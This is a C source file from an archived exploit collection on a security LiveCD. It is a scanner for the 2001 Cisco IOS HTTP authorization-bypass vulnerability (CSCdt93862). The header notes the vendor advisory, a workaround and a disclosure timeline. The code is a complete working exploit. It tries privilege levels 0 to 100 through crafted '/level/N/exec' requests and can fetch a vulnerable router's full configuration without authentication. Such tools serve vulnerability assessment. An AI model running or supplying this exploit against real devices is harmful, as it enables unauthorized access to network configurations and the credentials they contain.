home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / ciscoios-w3-vul.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  190 lines

  1. /*
  2.  * Cisco IOS HTTP Server Vulnerability Scanner.
  3.  * Written by bashis <bash[at]wcd[dot]se>
  4.  *
  5.  * This code scanning a Cisco router/switch for vulnerability,
  6.  * and as an option fetching the configuration, without any
  7.  * authentication, of the router/switch if vulnerability is found.
  8.  *
  9.  * Vulnerable:
  10.  * Almost(?) ALL Cisco IOS based products with IOS Version later then 11.3,
  11.  * with HTTP server enabled and using no TACACS+ / Radius authentication.
  12.  * (I have been unable to reproduce this on routers/switches with IOS 11.2)
  13.  *
  14.  * Vendors advisory:
  15.  * http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html
  16.  *
  17.  * Cisco Bug ID: CSCdt93862
  18.  *
  19.  * Workaround:
  20.  *  Disable HTTP Server.
  21.  *  -or-
  22.  *  Use TACACS+ / Radius for authentication.
  23.  *
  24.  * Solution:
  25.  * Upgrade your IOS, read the vendors advisory for details.
  26.  *
  27.  * Status:
  28.  *  7 May 2001: Vendor was notified about this bug.
  29.  * 27 Jun 2001: Vendor released advisory.
  30.  * 30 Oct 2001: Decided to make this scanner go public.
  31.  *
  32.  * Compile: gcc -Wall -o ios-w3-vul ios-w3-vul.c
  33.  * (Tested on Linux and OpenBSD)
  34.  *
  35.  */
  36.  
  37. #include <ctype.h>
  38. #include <netdb.h>
  39. #include <string.h>
  40. #include <stdio.h>
  41. #include <unistd.h>
  42. #include <errno.h>
  43. #include <sys/types.h>
  44. #include <sys/socket.h>
  45. #include <netinet/in.h>
  46.  
  47. #define BUF_SIZE 1024
  48.  
  49. char getreq[] =        "GET /level/";
  50. char cmd_pwd[] =    "/exec/-///pwd  HTTP/1.0\n\n";
  51. char cmd_sh_conf[] =    "/exec/-///show/configuration HTTP/1.0\n\n";
  52.  
  53. int fetchc(int argc, char *argv[], struct sockaddr_in sin, struct hostent *inet_host, char vulnl[])
  54. {
  55.     int sock;
  56.     char inbuf[BUF_SIZE], outbuf[BUF_SIZE];
  57.  
  58.     if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0){
  59.         printf("Can't create  socket: %s\n",strerror(errno));
  60.         return(1);
  61.     }
  62.  
  63.     if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0){
  64.         printf("Can't connect to %s: %s\n",argv[1], strerror(errno));
  65.         return(1);
  66.     }
  67.  
  68.     bzero(outbuf,sizeof(outbuf));
  69.     bzero(inbuf,sizeof(inbuf));
  70.     strcat(outbuf,getreq);
  71.     strcat(outbuf,vulnl);
  72.     strcat(outbuf,cmd_sh_conf);
  73.     send(sock,outbuf,strlen(outbuf),0);
  74.     while(recv(sock,inbuf,sizeof(inbuf),0)){
  75.         printf("%s",inbuf);
  76.         if(strstr(inbuf,"command completed"))
  77.             break;
  78.         bzero(inbuf,sizeof(inbuf));
  79.     }
  80.     close(sock);
  81.     return(1);
  82. }
  83.  
  84. int main(int argc, char *argv[])
  85. {
  86.     int sock, i;
  87.     int ok = 0, bad = 0, other = 0, unauth = 0, count = 0;
  88.     int finish = 0, fetch = 0;
  89.     char inbuf[BUF_SIZE], outbuf[BUF_SIZE];
  90.     char tmp[5];
  91.     struct sockaddr_in sin;
  92.     struct hostent *inet_host;
  93.  
  94.     printf("\nCisco IOS HTTP Server Vulnerability Scanner.\n");
  95.     printf("by bashis <bash[at]wcd[dot]se> Cisco Bug ID: CSCdt93862\n\n");
  96.  
  97.     if((argc < 2) || (strstr(argv[1],"-?")))
  98.     {
  99.         printf("Usage: %s <host> [fetch]\n",argv[0]);
  100.         printf("\n <host>: ip or hostname to scan.\n[fetch]: fetching configuration when finding a vulnerability and exit.\n\n");
  101.         exit(0);
  102.     }
  103.  
  104.     if(argc > 2)
  105.         if(!(strncmp(argv[2],"fetch",5))){
  106.             fetch++;
  107.         }
  108.  
  109.     if ((inet_host=gethostbyname(argv[1])) == NULL) {
  110.         printf("Can't resolve %s\n",argv[1]);
  111.         exit(1);
  112.     }
  113.  
  114.     sin.sin_family=AF_INET;
  115.     sin.sin_port=htons(80);
  116.     bcopy(inet_host->h_addr, (char *)&sin.sin_addr, inet_host->h_length);
  117.  
  118.     for(i=0;i<=100;i++) {
  119.         if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0)
  120.         {
  121.             printf("Can't create  socket: %s\n",strerror(errno));
  122.             return(1);
  123.         }
  124.  
  125.         if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0)
  126.         {
  127.             printf("Can't connect to %s: %s\n",argv[1], strerror(errno));
  128.             return(1);
  129.         }
  130.         bzero(outbuf,sizeof(outbuf));
  131.         strcat(outbuf,getreq);
  132.         bzero(tmp,sizeof(tmp));
  133.         sprintf(tmp,"%d",i);
  134.         strcat(outbuf,tmp);
  135.         strcat(outbuf,cmd_pwd);
  136.         bzero(inbuf,sizeof(inbuf));
  137.         send(sock,outbuf,strlen(outbuf),0);
  138.         while(recv(sock,inbuf,sizeof(inbuf),0))
  139.         {
  140.             if(strstr(inbuf,"200 OK")) {
  141.                 printf("Received: 200 OK\t\t(%d is vulnerable)\n",i);
  142.                 ok++;
  143.  
  144.                 if(fetch) {
  145.                     bzero(tmp,sizeof(tmp));
  146.                     sprintf(tmp,"%d",i);
  147.                     if(fetchc(argc, argv, sin, inet_host,tmp)){
  148.                         finish++;
  149.                         break;
  150.                     }
  151.                 }
  152.                 break;
  153.             }
  154.             else if(strstr(inbuf,"401 Unauthorized")) {
  155.                 unauth++;
  156.                 printf("Received: 401 Unauthorized\t(%d is not vulnerable)\n",i);
  157.             }
  158.             else if(strstr(inbuf,"400 Bad Request")) {
  159.                 bad++;
  160.                 printf("Received: 400 Bad Request\t(%d is not vulnerable)\n",i);
  161.             } else {
  162.                 other++;
  163.                 break;
  164.             }
  165.  
  166.             if(strstr(inbuf,"command completed")){
  167.                 break;
  168.             }
  169.         }
  170.         count++;
  171.         close(sock);
  172.         if(finish || other)
  173.             break;
  174.         usleep(50);
  175.     }
  176.  
  177.     if(ok && !fetch) {
  178.         printf("\n%s IS vulnerable, DISABLE HTTP and upgrade your IOS!.\n",argv[1]);
  179.     }
  180.     else if(!other && !ok)
  181.         printf("\n%s seems NOT to be vulnerable. Using TACACS+/Radius?\n",argv[1]);
  182.     else if((fetch && !other) || (fetch && !ok))
  183.         printf("\nFetched configuration from %s...\n",argv[1]);
  184.     else
  185.         printf("Uh Ah Oh Whats this?? - This Can't be a Cisco device..\nYou should check if it's a Cisco device you are trying to scan.. ;->\n\n");
  186.     printf("Status: Sent:%d, 200 OK:%d, 400 Bad request:%d, 401 Unauthorized:%d, Other:%d\n",count,ok,bad,unauth,other);
  187.     return(0);
  188. }
  189.  
  190.